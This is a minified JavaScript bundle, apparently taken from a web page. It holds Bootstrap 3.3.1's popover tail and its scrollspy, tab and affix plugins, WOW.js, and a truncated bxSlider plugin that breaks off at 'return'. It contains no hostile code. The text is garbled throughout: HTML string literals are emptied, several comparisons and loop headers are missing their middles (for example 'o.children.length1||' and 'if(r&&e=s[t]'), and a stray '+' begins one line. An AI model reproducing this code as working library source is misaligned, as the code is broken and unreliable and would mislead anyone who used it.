t.attr("data-content")||("function"==typeof e.content?e.content.call(t[0]):e.content)},i.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},i.prototype.tip=function(){return this.$tip||(this.$tip=t(this.options.template)),this.$tip};var n=t.fn.popover;t.fn.popover=e,t.fn.popover.Constructor=i,t.fn.popover.noConflict=function(){return t.fn.popover=n,this}}(jQuery),+function(t){"use strict";function e(i,n){var s=t.proxy(this.process,this);this.$body=t("body"),this.$scrollElement=t(t(i).is("body")?window:i),this.options=t.extend({},e.DEFAULTS,n),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",s),this.refresh(),this.process()}function i(i){return this.each(function(){var n=t(this),s=n.data("bs.scrollspy"),o="object"==typeof i&&i;s||n.data("bs.scrollspy",s=new e(this,o)),"string"==typeof i&&s[i]()})}e.VERSION="3.3.1",e.DEFAULTS={offset:10},e.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},e.prototype.refresh=function(){var e="offset",i=0;t.isWindow(this.$scrollElement[0])||(e="position",i=this.$scrollElement.scrollTop()),this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight();var n=this;this.$body.find(this.selector).map(function(){var n=t(this),s=n.data("target")||n.attr("href"),o=/^#./.test(s)&&t(s);return o&&o.length&&o.is(":visible")&&[[o[e]().top+i,s]]||null}).sort(function(t,e){return t[0]-e[0]}).each(function(){n.offsets.push(this[0]),n.targets.push(this[1])})},e.prototype.process=function(){var t,e=this.$scrollElement.scrollTop()+this.options.offset,i=this.getScrollHeight(),n=this.options.offset+i-this.$scrollElement.height(),s=this.offsets,o=this.targets,r=this.activeTarget;if(this.scrollHeight!=i&&this.refresh(),e>=n)return r!=(t=o[o.length-1])&&this.activate(t);if(r&&e=s[t]&&(!s[t+1]||e<=s[t+1])&&this.activate(o[t])},e.prototype.activate=function(e){this.activeTarget=e,this.clear();var i=this.selector+'[data-target="'+e+'"],'+this.selector+'[href="'+e+'"]',n=t(i).parents("li").addClass("active");n.parent(".dropdown-menu").length&&(n=n.closest("li.dropdown").addClass("active")),n.trigger("activate.bs.scrollspy")},e.prototype.clear=function(){t(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var n=t.fn.scrollspy;t.fn.scrollspy=i,t.fn.scrollspy.Constructor=e,t.fn.scrollspy.noConflict=function(){return t.fn.scrollspy=n,this},t(window).on("load.bs.scrollspy.data-api",function(){t('[data-spy="scroll"]').each(function(){var e=t(this);i.call(e,e.data())})})}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var n=t(this),s=n.data("bs.tab");s||n.data("bs.tab",s=new i(this)),"string"==typeof e&&s[e]()})}var i=function(e){this.element=t(e)};i.VERSION="3.3.1",i.TRANSITION_DURATION=150,i.prototype.show=function(){var e=this.element,i=e.closest("ul:not(.dropdown-menu)"),n=e.data("target");if(n||(n=e.attr("href"),n=n&&n.replace(/.*(?=#[^\s]*$)/,"")),!e.parent("li").hasClass("active")){var s=i.find(".active:last a"),o=t.Event("hide.bs.tab",{relatedTarget:e[0]}),r=t.Event("show.bs.tab",{relatedTarget:s[0]});if(s.trigger(o),e.trigger(r),!r.isDefaultPrevented()&&!o.isDefaultPrevented()){var a=t(n);this.activate(e.closest("li"),i),this.activate(a,a.parent(),function(){s.trigger({type:"hidden.bs.tab",relatedTarget:e[0]}),e.trigger({type:"shown.bs.tab",relatedTarget:s[0]})
+})}}},i.prototype.activate=function(e,n,s){function o(){r.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),e.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),a?(e[0].offsetWidth,e.addClass("in")):e.removeClass("fade"),e.parent(".dropdown-menu")&&e.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),s&&s()}var r=n.find("> .active"),a=s&&t.support.transition&&(r.length&&r.hasClass("fade")||!!n.find("> .fade").length);r.length&&a?r.one("bsTransitionEnd",o).emulateTransitionEnd(i.TRANSITION_DURATION):o(),r.removeClass("in")};var n=t.fn.tab;t.fn.tab=e,t.fn.tab.Constructor=i,t.fn.tab.noConflict=function(){return t.fn.tab=n,this};var s=function(i){i.preventDefault(),e.call(t(this),"show")};t(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',s).on("click.bs.tab.data-api",'[data-toggle="pill"]',s)}(jQuery),+function(t){"use strict";function e(e){return this.each(function(){var n=t(this),s=n.data("bs.affix"),o="object"==typeof e&&e;s||n.data("bs.affix",s=new i(this,o)),"string"==typeof e&&s[e]()})}var i=function(e,n){this.options=t.extend({},i.DEFAULTS,n),this.$target=t(this.options.target).on("scroll.bs.affix.data-api",t.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",t.proxy(this.checkPositionWithEventLoop,this)),this.$element=t(e),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};i.VERSION="3.3.1",i.RESET="affix affix-top affix-bottom",i.DEFAULTS={offset:0,target:window},i.prototype.getState=function(t,e,i,n){var s=this.$target.scrollTop(),o=this.$element.offset(),r=this.$target.height();if(null!=i&&"top"==this.affixed)return i>s?"top":!1;if("bottom"==this.affixed)return null!=i?s+this.unpin<=o.top?!1:"bottom":t-n>=s+r?!1:"bottom";var a=null==this.affixed,l=a?s:o.top,d=a?r:e;return null!=i&&i>=l?"top":null!=n&&l+d>=t-n?"bottom":!1},i.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(i.RESET).addClass("affix");var t=this.$target.scrollTop(),e=this.$element.offset();return this.pinnedOffset=e.top-t},i.prototype.checkPositionWithEventLoop=function(){setTimeout(t.proxy(this.checkPosition,this),1)},i.prototype.checkPosition=function(){if(this.$element.is(":visible")){var e=this.$element.height(),n=this.options.offset,s=n.top,o=n.bottom,r=t("body").height();"object"!=typeof n&&(o=s=n),"function"==typeof s&&(s=n.top(this.$element)),"function"==typeof o&&(o=n.bottom(this.$element));var a=this.getState(r,e,s,o);if(this.affixed!=a){null!=this.unpin&&this.$element.css("top","");var l="affix"+(a?"-"+a:""),d=t.Event(l+".bs.affix");if(this.$element.trigger(d),d.isDefaultPrevented())return;this.affixed=a,this.unpin="bottom"==a?this.getPinnedOffset():null,this.$element.removeClass(i.RESET).addClass(l).trigger(l.replace("affix","affixed")+".bs.affix")}"bottom"==a&&this.$element.offset({top:r-e-o})}};var n=t.fn.affix;t.fn.affix=e,t.fn.affix.Constructor=i,t.fn.affix.noConflict=function(){return t.fn.affix=n,this},t(window).on("load",function(){t('[data-spy="affix"]').each(function(){var i=t(this),n=i.data();n.offset=n.offset||{},null!=n.offsetBottom&&(n.offset.bottom=n.offsetBottom),null!=n.offsetTop&&(n.offset.top=n.offsetTop),e.call(i,n)})})}(jQuery),function(){var t,e,i,n,s,o=function(t,e){return function(){return t.apply(e,arguments)}},r=[].indexOf||function(t){for(var e=0,i=this.length;i>e;e++)if(e in this&&this[e]===t)return e;return-1};e=function(){function t(){}return t.prototype.extend=function(t,e){var i,n;for(i in e)n=e[i],null==t[i]&&(t[i]=n);return t},t.prototype.isMobile=function(t){return/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(t)},t.prototype.createEvent=function(t,e,i,n){var s;return null==e&&(e=!1),null==i&&(i=!1),null==n&&(n=null),null!=document.createEvent?(s=document.createEvent("CustomEvent"),s.initCustomEvent(t,e,i,n)):null!=document.createEventObject?(s=document.createEventObject(),s.eventType=t):s.eventName=t,s},t.prototype.emitEvent=function(t,e){return null!=t.dispatchEvent?t.dispatchEvent(e):e in(null!=t)?t[e]():"on"+e in(null!=t)?t["on"+e]():void 0},t.prototype.addEvent=function(t,e,i){return null!=t.addEventListener?t.addEventListener(e,i,!1):null!=t.attachEvent?t.attachEvent("on"+e,i):t[e]=i},t.prototype.removeEvent=function(t,e,i){return null!=t.removeEventListener?t.removeEventListener(e,i,!1):null!=t.detachEvent?t.detachEvent("on"+e,i):delete t[e]},t.prototype.innerHeight=function(){return"innerHeight"in window?window.innerHeight:document.documentElement.clientHeight},t}(),i=this.WeakMap||this.MozWeakMap||(i=function(){function t(){this.keys=[],this.values=[]}return t.prototype.get=function(t){var e,i,n,s,o;for(o=this.keys,e=n=0,s=o.length;s>n;e=++n)if(i=o[e],i===t)return this.values[e]},t.prototype.set=function(t,e){var i,n,s,o,r;for(r=this.keys,i=s=0,o=r.length;o>s;i=++s)if(n=r[i],n===t)return void(this.values[i]=e);return this.keys.push(t),this.values.push(e)},t}()),t=this.MutationObserver||this.WebkitMutationObserver||this.MozMutationObserver||(t=function(){function t(){"undefined"!=typeof console&&null!==console&&console.warn("MutationObserver is not supported by your browser."),"undefined"!=typeof console&&null!==console&&console.warn("WOW.js cannot detect dom mutations, please call .sync() after loading new content.")}return t.notSupported=!0,t.prototype.observe=function(){},t}()),n=this.getComputedStyle||function(t){return this.getPropertyValue=function(e){var i;return"float"===e&&(e="styleFloat"),s.test(e)&&e.replace(s,function(t,e){return e.toUpperCase()}),(null!=(i=t.currentStyle)?i[e]:void 0)||null},this},s=/(\-([a-z]){1})/g,this.WOW=function(){function s(t){null==t&&(t={}),this.scrollCallback=o(this.scrollCallback,this),this.scrollHandler=o(this.scrollHandler,this),this.resetAnimation=o(this.resetAnimation,this),this.start=o(this.start,this),this.scrolled=!0,this.config=this.util().extend(t,this.defaults),this.animationNameCache=new i,this.wowEvent=this.util().createEvent(this.config.boxClass)}return s.prototype.defaults={boxClass:"wow",animateClass:"animated",offset:0,mobile:!0,live:!0,callback:null},s.prototype.init=function(){var t;return this.element=window.document.documentElement,"interactive"===(t=document.readyState)||"complete"===t?this.start():this.util().addEvent(document,"DOMContentLoaded",this.start),this.finished=[]},s.prototype.start=function(){var e,i,n,s;if(this.stopped=!1,this.boxes=function(){var t,i,n,s;for(n=this.element.querySelectorAll("."+this.config.boxClass),s=[],t=0,i=n.length;i>t;t++)e=n[t],s.push(e);return s}.call(this),this.all=function(){var t,i,n,s;for(n=this.boxes,s=[],t=0,i=n.length;i>t;t++)e=n[t],s.push(e);return s}.call(this),this.boxes.length)if(this.disabled())this.resetStyle();else for(s=this.boxes,i=0,n=s.length;n>i;i++)e=s[i],this.applyStyle(e,!0);return this.disabled()||(this.util().addEvent(window,"scroll",this.scrollHandler),this.util().addEvent(window,"resize",this.scrollHandler),this.interval=setInterval(this.scrollCallback,50)),this.config.live?new t(function(t){return function(e){var i,n,s,o,r;for(r=[],i=0,n=e.length;n>i;i++)o=e[i],r.push(function(){var t,e,i,n;for(i=o.addedNodes||[],n=[],t=0,e=i.length;e>t;t++)s=i[t],n.push(this.doSync(s));return n}.call(t));return r}}(this)).observe(document.body,{childList:!0,subtree:!0}):void 0},s.prototype.stop=function(){return this.stopped=!0,this.util().removeEvent(window,"scroll",this.scrollHandler),this.util().removeEvent(window,"resize",this.scrollHandler),null!=this.interval?clearInterval(this.interval):void 0},s.prototype.sync=function(){return t.notSupported?this.doSync(this.element):void 0},s.prototype.doSync=function(t){var e,i,n,s,o;if(null==t&&(t=this.element),1===t.nodeType){for(t=t.parentNode||t,s=t.querySelectorAll("."+this.config.boxClass),o=[],i=0,n=s.length;n>i;i++)e=s[i],r.call(this.all,e)<0?(this.boxes.push(e),this.all.push(e),this.stopped||this.disabled()?this.resetStyle():this.applyStyle(e,!0),o.push(this.scrolled=!0)):o.push(void 0);return o}},s.prototype.show=function(t){return this.applyStyle(t),t.className=t.className+" "+this.config.animateClass,null!=this.config.callback&&this.config.callback(t),this.util().emitEvent(t,this.wowEvent),this.util().addEvent(t,"animationend",this.resetAnimation),this.util().addEvent(t,"oanimationend",this.resetAnimation),this.util().addEvent(t,"webkitAnimationEnd",this.resetAnimation),this.util().addEvent(t,"MSAnimationEnd",this.resetAnimation),t},s.prototype.applyStyle=function(t,e){var i,n,s;return n=t.getAttribute("data-wow-duration"),i=t.getAttribute("data-wow-delay"),s=t.getAttribute("data-wow-iteration"),this.animate(function(o){return function(){return o.customStyle(t,e,n,i,s)}}(this))},s.prototype.animate=function(){return"requestAnimationFrame"in window?function(t){return window.requestAnimationFrame(t)}:function(t){return t()}}(),s.prototype.resetStyle=function(){var t,e,i,n,s;for(n=this.boxes,s=[],e=0,i=n.length;i>e;e++)t=n[e],s.push(t.style.visibility="visible");return s},s.prototype.resetAnimation=function(t){var e;return t.type.toLowerCase().indexOf("animationend")>=0?(e=t.target||t.srcElement,e.className=e.className.replace(this.config.animateClass,"").trim()):void 0},s.prototype.customStyle=function(t,e,i,n,s){return e&&this.cacheAnimationName(t),t.style.visibility=e?"hidden":"visible",i&&this.vendorSet(t.style,{animationDuration:i}),n&&this.vendorSet(t.style,{animationDelay:n}),s&&this.vendorSet(t.style,{animationIterationCount:s}),this.vendorSet(t.style,{animationName:e?"none":this.cachedAnimationName(t)}),t},s.prototype.vendors=["moz","webkit"],s.prototype.vendorSet=function(t,e){var i,n,s,o;n=[];for(i in e)s=e[i],t[""+i]=s,n.push(function(){var e,n,r,a;for(r=this.vendors,a=[],e=0,n=r.length;n>e;e++)o=r[e],a.push(t[""+o+i.charAt(0).toUpperCase()+i.substr(1)]=s);return a}.call(this));return n},s.prototype.vendorCSS=function(t,e){var i,s,o,r,a,l;for(a=n(t),r=a.getPropertyCSSValue(e),o=this.vendors,i=0,s=o.length;s>i;i++)l=o[i],r=r||a.getPropertyCSSValue("-"+l+"-"+e);return r},s.prototype.animationName=function(t){var e;try{e=this.vendorCSS(t,"animation-name").cssText}catch(i){e=n(t).getPropertyValue("animation-name")}return"none"===e?"":e},s.prototype.cacheAnimationName=function(t){return this.animationNameCache.set(t,this.animationName(t))},s.prototype.cachedAnimationName=function(t){return this.animationNameCache.get(t)},s.prototype.scrollHandler=function(){return this.scrolled=!0},s.prototype.scrollCallback=function(){var t;return!this.scrolled||(this.scrolled=!1,this.boxes=function(){var e,i,n,s;for(n=this.boxes,s=[],e=0,i=n.length;i>e;e++)t=n[e],t&&(this.isVisible(t)?this.show(t):s.push(t));return s}.call(this),this.boxes.length||this.config.live)?void 0:this.stop()},s.prototype.offsetTop=function(t){for(var e;void 0===t.offsetTop;)t=t.parentNode;for(e=t.offsetTop;t=t.offsetParent;)e+=t.offsetTop;return e},s.prototype.isVisible=function(t){var e,i,n,s,o;return i=t.getAttribute("data-wow-offset")||this.config.offset,o=window.pageYOffset,s=o+Math.min(this.element.clientHeight,this.util().innerHeight())-i,n=this.offsetTop(t),e=n+t.clientHeight,s>=n&&e>=o},s.prototype.util=function(){return null!=this._util?this._util:this._util=new e},s.prototype.disabled=function(){return!this.config.mobile&&this.util().isMobile(navigator.userAgent)},s}()}.call(this),!function(t){var e={},n={mode:"horizontal",slideSelector:"",infiniteLoop:!0,hideControlOnEnd:!1,speed:500,easing:null,slideMargin:0,startSlide:0,randomStart:!1,captions:!1,ticker:!1,tickerHover:!1,adaptiveHeight:!1,adaptiveHeightSpeed:500,video:!1,useCSS:!0,preloadImages:"visible",responsive:!0,slideZIndex:50,touchEnabled:!0,swipeThreshold:50,oneToOneTouch:!0,preventDefaultSwipeX:!0,preventDefaultSwipeY:!1,pager:!0,pagerType:"full",pagerShortSeparator:" / ",pagerSelector:null,buildPager:null,pagerCustom:null,controls:!0,nextText:"Next",prevText:"Prev",nextSelector:null,prevSelector:null,autoControls:!1,startText:"Start",stopText:"Stop",autoControlsCombine:!1,autoControlsSelector:null,auto:!1,pause:4e3,autoStart:!0,autoDirection:"next",autoHover:!1,autoDelay:0,minSlides:1,maxSlides:1,moveSlides:0,slideWidth:0,onSliderLoad:function(){},onSlideBefore:function(){},onSlideAfter:function(){},onSlideNext:function(){},onSlidePrev:function(){},onSliderResize:function(){}};t.fn.bxSlider=function(s){if(0==this.length)return this;if(this.length>1)return this.each(function(){t(this).bxSlider(s)}),this;var o={},r=this;e.el=this;var a=t(window).width(),l=t(window).height(),d=function(){o.settings=t.extend({},n,s),o.settings.slideWidth=parseInt(o.settings.slideWidth),o.children=r.children(o.settings.slideSelector),o.children.length1||o.settings.maxSlides>1,o.carousel&&(o.settings.preloadImages="all"),o.minThreshold=o.settings.minSlides*o.settings.slideWidth+(o.settings.minSlides-1)*o.settings.slideMargin,o.maxThreshold=o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin,o.working=!1,o.controls={},o.interval=null,o.animProp="vertical"==o.settings.mode?"top":"left",o.usingCSS=o.settings.useCSS&&"fade"!=o.settings.mode&&function(){var t=document.createElement("div"),e=["WebkitPerspective","MozPerspective","OPerspective","msPerspective"];for(var i in e)if(void 0!==t.style[e[i]])return o.cssPrefix=e[i].replace("Perspective","").toLowerCase(),o.animProp="-"+o.cssPrefix+"-transform",!0;return!1}(),"vertical"==o.settings.mode&&(o.settings.maxSlides=o.settings.minSlides),r.data("origStyle",r.attr("style")),r.children(o.settings.slideSelector).each(function(){t(this).data("origStyle",t(this).attr("style"))}),h()},h=function(){r.wrap(''),o.viewport=r.parent(),o.loader=t('
'),o.viewport.prepend(o.loader),r.css({width:"horizontal"==o.settings.mode?100*o.children.length+215+"%":"auto",position:"relative"}),o.usingCSS&&o.settings.easing?r.css("-"+o.cssPrefix+"-transition-timing-function",o.settings.easing):o.settings.easing||(o.settings.easing="swing"),m(),o.viewport.css({width:"100%",overflow:"hidden",position:"relative"}),o.viewport.parent().css({maxWidth:f()}),o.settings.pager||o.viewport.parent().css({margin:"0 auto 0px"}),o.children.css({"float":"horizontal"==o.settings.mode?"left":"none",listStyle:"none",position:"relative"}),o.children.css("width",g()),"horizontal"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css("marginRight",o.settings.slideMargin),"vertical"==o.settings.mode&&o.settings.slideMargin>0&&o.children.css("marginBottom",o.settings.slideMargin),"fade"==o.settings.mode&&(o.children.css({position:"absolute",zIndex:0,display:"none"}),o.children.eq(o.settings.startSlide).css({zIndex:o.settings.slideZIndex,display:"block"})),o.controls.el=t('
'),o.settings.captions&&E(),o.active.last=o.settings.startSlide==v()-1,o.settings.video&&r.fitVids();var e=o.children.eq(o.settings.startSlide);"all"==o.settings.preloadImages&&(e=o.children),o.settings.ticker?o.settings.pager=!1:(o.settings.pager&&S(),o.settings.controls&&C(),o.settings.auto&&o.settings.autoControls&&T(),(o.settings.controls||o.settings.autoControls||o.settings.pager)&&o.viewport.after(o.controls.el)),c(e,u)},c=function(e,i){var n=e.find("img, iframe").length;if(0==n)return void i();var s=0;e.find("img, iframe").each(function(){t(this).one("load",function(){++s==n&&i()}).each(function(){this.complete&&t(this).load()})})},u=function(){if(o.settings.infiniteLoop&&"fade"!=o.settings.mode&&!o.settings.ticker){var e="vertical"==o.settings.mode?o.settings.minSlides:o.settings.maxSlides,i=o.children.slice(0,e).clone().addClass("bx-clone"),n=o.children.slice(-e).clone().addClass("bx-clone");r.append(i).prepend(n)}o.loader.remove(),y(),"vertical"==o.settings.mode&&(o.settings.adaptiveHeight=!0),o.viewport.height(p()),r.redrawSlider(),o.settings.onSliderLoad(o.active.index),o.initialized=!0,o.settings.responsive&&t(window).bind("resize",W),o.settings.auto&&o.settings.autoStart&&L(),o.settings.ticker&&q(),o.settings.pager&&D(o.settings.startSlide),o.settings.controls&&P(),o.settings.touchEnabled&&!o.settings.ticker&&M()},p=function(){var e=0,n=t();if("vertical"==o.settings.mode||o.settings.adaptiveHeight)if(o.carousel){var s=1==o.settings.moveSlides?o.active.index:o.active.index*b();for(n=o.children.eq(s),i=1;i<=o.settings.maxSlides-1;i++)n=n.add(s+i>=o.children.length?o.children.eq(i-1):o.children.eq(s+i))}else n=o.children.eq(o.active.index);else n=o.children;return"vertical"==o.settings.mode?(n.each(function(){e+=t(this).outerHeight()}),o.settings.slideMargin>0&&(e+=o.settings.slideMargin*(o.settings.minSlides-1))):e=Math.max.apply(Math,n.map(function(){return t(this).outerHeight(!1)}).get()),e},f=function(){var t="100%";return o.settings.slideWidth>0&&(t="horizontal"==o.settings.mode?o.settings.maxSlides*o.settings.slideWidth+(o.settings.maxSlides-1)*o.settings.slideMargin:o.settings.slideWidth),t},g=function(){var t=o.settings.slideWidth,e=o.viewport.width();return 0==o.settings.slideWidth||o.settings.slideWidth>e&&!o.carousel||"vertical"==o.settings.mode?t=e:o.settings.maxSlides>1&&"horizontal"==o.settings.mode&&(e>o.maxThreshold||e0)if(o.viewport.width()o.maxThreshold)t=o.settings.maxSlides;else{var e=o.children.first().width();t=Math.floor(o.viewport.width()/e)}else"vertical"==o.settings.mode&&(t=o.settings.minSlides);return t},v=function(){var t=0;if(o.settings.moveSlides>0)if(o.settings.infiniteLoop)t=o.children.length/b();else for(var e=0,i=0;e0&&o.settings.moveSlides<=m()?o.settings.moveSlides:m()},y=function(){if(o.children.length>o.settings.maxSlides&&o.active.last&&!o.settings.infiniteLoop){if("horizontal"==o.settings.mode){var t=o.children.last(),e=t.position();x(-(e.left-(o.viewport.width()-t.width())),"reset",0)}else if("vertical"==o.settings.mode){var i=o.children.length-o.settings.minSlides,e=o.children.eq(i).position();x(-e.top,"reset",0)}}else{var e=o.children.eq(o.active.index*b()).position();o.active.index==v()-1&&(o.active.last=!0),void 0!=e&&("horizontal"==o.settings.mode?x(-e.left,"reset",0):"vertical"==o.settings.mode&&x(-e.top,"reset",0))}},x=function(t,e,i,n){if(o.usingCSS){var s="vertical"==o.settings.mode?"translate3d(0, "+t+"px, 0)":"translate3d("+t+"px, 0, 0)";r.css("-"+o.cssPrefix+"-transition-duration",i/1e3+"s"),"slide"==e?(r.css(o.animProp,s),r.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){r.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd"),O()})):"reset"==e?r.css(o.animProp,s):"ticker"==e&&(r.css("-"+o.cssPrefix+"-transition-timing-function","linear"),r.css(o.animProp,s),r.bind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd",function(){r.unbind("transitionend webkitTransitionEnd oTransitionEnd MSTransitionEnd"),x(n.resetValue,"reset",0),z()}))}else{var a={};a[o.animProp]=t,"slide"==e?r.animate(a,i,o.settings.easing,function(){O()}):"reset"==e?r.css(o.animProp,t):"ticker"==e&&r.animate(a,speed,"linear",function(){x(n.resetValue,"reset",0),z()})}},w=function(){for(var e="",i=v(),n=0;i>n;n++){var s="";o.settings.buildPager&&t.isFunction(o.settings.buildPager)?(s=o.settings.buildPager(n),o.pagerEl.addClass("bx-custom-pager")):(s=n+1,o.pagerEl.addClass("bx-default-pager")),e+='"}o.pagerEl.html(e)},S=function(){o.settings.pagerCustom?o.pagerEl=t(o.settings.pagerCustom):(o.pagerEl=t(''),o.settings.pagerSelector?t(o.settings.pagerSelector).html(o.pagerEl):o.controls.el.addClass("bx-has-pager").append(o.pagerEl),w()),o.pagerEl.on("click","a",N)},C=function(){o.controls.next=t(''+o.settings.nextText+" "),o.controls.prev=t(''+o.settings.prevText+" "),o.controls.next.bind("click",$),o.controls.prev.bind("click",k),o.settings.nextSelector&&t(o.settings.nextSelector).append(o.controls.next),o.settings.prevSelector&&t(o.settings.prevSelector).append(o.controls.prev),o.settings.nextSelector||o.settings.prevSelector||(o.controls.directionEl=t('
'),o.controls.directionEl.append(o.controls.prev).append(o.controls.next),o.controls.el.addClass("bx-has-controls-direction").append(o.controls.directionEl))},T=function(){o.controls.start=t('"),o.controls.stop=t('"),o.controls.autoEl=t('
'),o.controls.autoEl.on("click",".bx-start",A),o.controls.autoEl.on("click",".bx-stop",I),o.settings.autoControlsCombine?o.controls.autoEl.append(o.controls.start):o.controls.autoEl.append(o.controls.start).append(o.controls.stop),o.settings.autoControlsSelector?t(o.settings.autoControlsSelector).html(o.controls.autoEl):o.controls.el.addClass("bx-has-controls-auto").append(o.controls.autoEl),R(o.settings.autoStart?"stop":"start")},E=function(){o.children.each(function(){var e=t(this).find("img:first").attr("title");void 0!=e&&(""+e).length&&t(this).append(''+e+"
")})},$=function(t){o.settings.auto&&r.stopAuto(),r.goToNextSlide(),t.preventDefault()},k=function(t){o.settings.auto&&r.stopAuto(),r.goToPrevSlide(),t.preventDefault()},A=function(t){r.startAuto(),t.preventDefault()},I=function(t){r.stopAuto(),t.preventDefault()},N=function(e){o.settings.auto&&r.stopAuto();var i=t(e.currentTarget),n=parseInt(i.attr("data-slide-index"));n!=o.active.index&&r.goToSlide(n),e.preventDefault()},D=function(e){var i=o.children.length;return"short"==o.settings.pagerType?(o.settings.maxSlides>1&&(i=Math.ceil(o.children.length/o.settings.maxSlides)),void o.pagerEl.html(e+1+o.settings.pagerShortSeparator+i)):(o.pagerEl.find("a").removeClass("active"),void o.pagerEl.each(function(i,n){t(n).find("a").eq(e).addClass("active")}))},O=function(){if(o.settings.infiniteLoop){var t="";0==o.active.index?t=o.children.eq(0).position():o.active.index==v()-1&&o.carousel?t=o.children.eq((v()-1)*b()).position():o.active.index==o.children.length-1&&(t=o.children.eq(o.children.length-1).position()),t&&("horizontal"==o.settings.mode?x(-t.left,"reset",0):"vertical"==o.settings.mode&&x(-t.top,"reset",0))}o.working=!1,o.settings.onSlideAfter(o.children.eq(o.active.index),o.oldIndex,o.active.index)},R=function(t){o.settings.autoControlsCombine?o.controls.autoEl.html(o.controls[t]):(o.controls.autoEl.find("a").removeClass("active"),o.controls.autoEl.find("a:not(.bx-"+t+")").addClass("active"))},P=function(){1==v()?(o.controls.prev.addClass("disabled"),o.controls.next.addClass("disabled")):!o.settings.infiniteLoop&&o.settings.hideControlOnEnd&&(0==o.active.index?(o.controls.prev.addClass("disabled"),o.controls.next.removeClass("disabled")):o.active.index==v()-1?(o.controls.next.addClass("disabled"),o.controls.prev.removeClass("disabled")):(o.controls.prev.removeClass("disabled"),o.controls.next.removeClass("disabled")))},L=function(){o.settings.autoDelay>0?setTimeout(r.startAuto,o.settings.autoDelay):r.startAuto(),o.settings.autoHover&&r.hover(function(){o.interval&&(r.stopAuto(!0),o.autoPaused=!0)},function(){o.autoPaused&&(r.startAuto(!0),o.autoPaused=null)})},q=function(){var e=0;if("next"==o.settings.autoDirection)r.append(o.children.clone().addClass("bx-clone"));else{r.prepend(o.children.clone().addClass("bx-clone"));var i=o.children.first().position();e="horizontal"==o.settings.mode?-i.left:-i.top}x(e,"reset",0),o.settings.pager=!1,o.settings.controls=!1,o.settings.autoControls=!1,o.settings.tickerHover&&!o.usingCSS&&o.viewport.hover(function(){r.stop()},function(){var e=0;o.children.each(function(){e+="horizontal"==o.settings.mode?t(this).outerWidth(!0):t(this).outerHeight(!0)});var i=o.settings.speed/e,n="horizontal"==o.settings.mode?"left":"top",s=i*(e-Math.abs(parseInt(r.css(n))));z(s)}),z()},z=function(t){speed=t?t:o.settings.speed;var e={left:0,top:0},i={left:0,top:0};"next"==o.settings.autoDirection?e=r.find(".bx-clone").first().position():i=o.children.first().position();var n="horizontal"==o.settings.mode?-e.left:-e.top,s="horizontal"==o.settings.mode?-i.left:-i.top,a={resetValue:s};x(n,"ticker",speed,a)},M=function(){o.touch={start:{x:0,y:0},end:{x:0,y:0}},o.viewport.bind("touchstart",H)},H=function(t){if(o.working)t.preventDefault();else{o.touch.originalPos=r.position();var e=t.originalEvent;o.touch.start.x=e.changedTouches[0].pageX,o.touch.start.y=e.changedTouches[0].pageY,o.viewport.bind("touchmove",F),o.viewport.bind("touchend",j)}},F=function(t){var e=t.originalEvent,i=Math.abs(e.changedTouches[0].pageX-o.touch.start.x),n=Math.abs(e.changedTouches[0].pageY-o.touch.start.y);if(3*i>n&&o.settings.preventDefaultSwipeX?t.preventDefault():3*n>i&&o.settings.preventDefaultSwipeY&&t.preventDefault(),"fade"!=o.settings.mode&&o.settings.oneToOneTouch){var s=0;if("horizontal"==o.settings.mode){var r=e.changedTouches[0].pageX-o.touch.start.x;s=o.touch.originalPos.left+r}else{var r=e.changedTouches[0].pageY-o.touch.start.y;s=o.touch.originalPos.top+r}x(s,"reset",0)}},j=function(t){o.viewport.unbind("touchmove",F);var e=t.originalEvent,i=0;if(o.touch.end.x=e.changedTouches[0].pageX,o.touch.end.y=e.changedTouches[0].pageY,"fade"==o.settings.mode){var n=Math.abs(o.touch.start.x-o.touch.end.x);n>=o.settings.swipeThreshold&&(o.touch.start.x>o.touch.end.x?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto())}else{var n=0;"horizontal"==o.settings.mode?(n=o.touch.end.x-o.touch.start.x,i=o.touch.originalPos.left):(n=o.touch.end.y-o.touch.start.y,i=o.touch.originalPos.top),!o.settings.infiniteLoop&&(0==o.active.index&&n>0||o.active.last&&0>n)?x(i,"reset",200):Math.abs(n)>=o.settings.swipeThreshold?(0>n?r.goToNextSlide():r.goToPrevSlide(),r.stopAuto()):x(i,"reset",200)}o.viewport.unbind("touchend",j)},W=function(){var e=t(window).width(),i=t(window).height();(a!=e||l!=i)&&(a=e,l=i,r.redrawSlider(),o.settings.onSliderResize.call(r,o.active.index))};return 